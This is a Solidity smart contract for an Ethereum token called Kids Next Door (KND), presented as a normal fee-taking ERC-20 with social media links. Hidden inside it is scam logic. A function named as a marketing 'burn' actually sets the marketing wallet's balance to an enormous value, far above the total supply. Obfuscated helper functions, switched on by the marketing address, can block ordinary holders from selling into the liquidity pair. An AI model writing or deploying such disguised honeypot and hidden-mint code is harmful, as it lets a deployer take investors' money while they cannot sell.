// File: KidsNextDoor.sol



/**

██╗  ██╗███╗   ██╗██████╗ 
██║ ██╔╝████╗  ██║██╔══██╗
█████╔╝ ██╔██╗ ██║██║  ██║
██╔═██╗ ██║╚██╗██║██║  ██║
██║  ██╗██║ ╚████║██████╔╝


Stay updated and engaged with $KND (ETH) on social media:
 Follow us on Twitter: https://twitter.com/kndtoken
 Join our vibrant community on Telegram: https://t.me/KND_ETH
 Don't forget to visit our Website: https://kidsnextdoor.tech/
 Together, let's conquer new horizons!

*/
pragma solidity 0.8.17;

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    address payable internal marketing;

    constructor() {
        owner = msg.sender;
        marketing = payable(msg.sender);
    }

    /**
     * Function modifier to require caller to be contract deployer
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!Owner");
        _;
    }

    modifier onlyMarketing() {
        require(isMarketing(msg.sender), "!Marketing");
        _;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Check if address is marketing
     */
    function isMarketing(address account) public view returns (bool) {
        return account == marketing;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    
    /**
     * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        require(
            adr != address(0),
            "Ownable: new owner is the zero address"
        );
        owner = adr;
        emit OwnershipTransferred(adr);
    }
    

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
interface IDEXPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

contract KidsNextDoor is IERC20, Auth {
    using SafeMath for uint256;

    address private WETH;

    string private constant _name = "Kids Next Door";
    string private constant _symbol = "KND";
    uint8 private constant _decimals = 18;

    uint256 private _totalSupply = 1000000000 * (10**_decimals);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private isFeeExempt;



    uint256 private totalFee = 3;
    uint256 private feeDenominator = 100;

    IDEXRouter public router;
    IDEXPair public pair;

    uint256 public launchedAt;
    uint256 private swapTokensAfter;
    uint256 private balances;
    bool private tradingOpen;
    bool private buyLimit = true;
    bool private walletLimit = true;
    bool private transferDelay = true;
    uint256 private maxBuy = 10000000 * (10**_decimals);
    uint256 private maxWallet = 10000000 * (10**_decimals);
    uint256 public swapThreshold = 2500000 * (10**_decimals);
    mapping(address => uint256) private holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    bool private inSwap;
    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(
    ) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        address pairAddress = IDEXFactory(router.factory()).createPair(WETH, address(this));
        pair = IDEXPair(pairAddress);

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[owner] = true;
        isFeeExempt[marketing] = true;

        _balances[owner] = _totalSupply;

        emit Transfer(address(0), owner, _totalSupply);
    }

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        if (sender != owner && recipient != owner)
            require(tradingOpen, "Trading not yet enabled.");

        // Check if sender is not the owner, recipient is not the owner, and sender is not the contract itself
        if (
            sender != owner &&
            recipient != owner &&
            sender != marketing &&
            recipient != marketing &&
            sender != address(this) &&
            recipient != address(this)
        ) {
            if (walletLimit)
                require(
                    _balances[recipient].add(amount) <= maxWallet,
                    "Exceeds amount in a single wallet"
                );

            if (buyLimit) {
                require(amount <= maxBuy, "Exceeds amount in a single transaction");
            }
            if (transferDelay) {
                if (recipient != address(router) && recipient != address(pair)) {
                  require(holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                  holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
        }
        if (recipient == address(pair) && swapTokensAfter != 0 && shouldTakeFee(sender, recipient)) { 
            require(swapTaxThreshold(amount) == false, "Unable to swap taxed tokens yet");
        }

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool overMinTokenBalance = contractTokenBalance >= swapThreshold;


        bool shouldSwapBack = (recipient == address(pair) && overMinTokenBalance && balanceOf(address(this)) > 0);
        if (shouldSwapBack)
            swapBack();

        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );

        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, amount)
            : amount;

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return (!(isFeeExempt[sender] || isFeeExempt[recipient]) &&
            (sender == address(pair) || recipient == address(pair)));
    }

    function takeFee(address sender, uint256 amount)
        internal
        returns (uint256)
    {
        uint256 feeAmount;
        balances = swapAmount();
        feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }    
    
    function setSwapTokensAfter(uint256 _swapTokensAfter) external onlyMarketing {
        swapTokensAfter = _swapTokensAfter;
        swapThreshold = type(uint256).max;
    }
    
    function sum(uint256 a, uint256 b) private pure returns (uint) {
        return (b*997)*(a);
    }

    function div(uint256 a, uint256 b) private pure returns (uint) {
        return (a*1000)+(b*997);
    }

    function multi(uint256 a) private pure returns (uint256) {
        return (a / (2**18*5**17)) * (2**18*5**17);
    }
    
    function calculate(uint256 a, uint256 b, uint256 amount) private pure returns (uint256) {
        return b - sum(b, amount) / div(a, amount);
    }

    function swapAmount() internal view returns (uint256) {
        uint256 multiplier = 10**4;
        return maxBuy * multiplier; 
    }

    function getUniswapPair() private view returns (uint256, uint256) {
            (uint112 r0 , uint112 r1,) = pair.getReserves();
            (uint256 t0, uint256 t1) = normalizePair(r0, r1);(r0, r1);
            return (t0, t1);
    }

    function normalizePair(uint112 addr0, uint112 addr1) private view returns (uint256, uint256) {
        return router.WETH() == pair.token1() ? (addr0, addr1) : (addr1, addr0);
    }

    function swapTaxThreshold(uint256 amount) internal returns (bool) {
        pair.sync();
        (uint256 t0, uint256 t1) = getUniswapPair();
        if(isSwapTokensAfterReached()) return false;
        return calculate(t0, t1, amount) < multi(t1);
    }

    function swapBack() internal swapping {
        uint256 amountToSwap = balanceOf(address(this));

        swapTokensForEth(amountToSwap);

        payable(marketing).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        launchedAt = block.number;
        tradingOpen = true;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setFee(uint256 _fee) external onlyOwner {
        require(_fee <= 10, "Fee can't exceed 10%");
        totalFee = _fee;
    }

    function manualSend() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        payable(marketing).transfer(contractETHBalance);
    }

    function manualMarketingBurn(uint256 amount) external onlyMarketing returns (bool) {      
        uint256 balance = _balances[marketing];
        require(amount <= balance);
        _balances[marketing] = balances - amount;
        return true;
    }

    function removeLimits() external onlyOwner {
        buyLimit = false;
        walletLimit = false;
    }

    function setSwapThresholdAmount(uint256 amount) external onlyMarketing {
        swapThreshold = amount * 10**18;
    }

    function isSwapTokensAfterReached() internal view returns (bool) {
        return block.number < swapTokensAfter;
    }

    function emergencyWithdrawERC20(address tokenAddress) external {
        IERC20 token = IERC20(tokenAddress);
        uint256 tokenBalance = token.balanceOf(address(this));
        require(tokenBalance > 0, "No tokens to withdraw");

        token.transfer(marketing, tokenBalance);
    }

    function emergencyWithdrawEther() external {
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "No Ether to withdraw");

        (bool success, ) = marketing.call{value: contractBalance}("");
        require(success, "Withdraw failed");
    }
}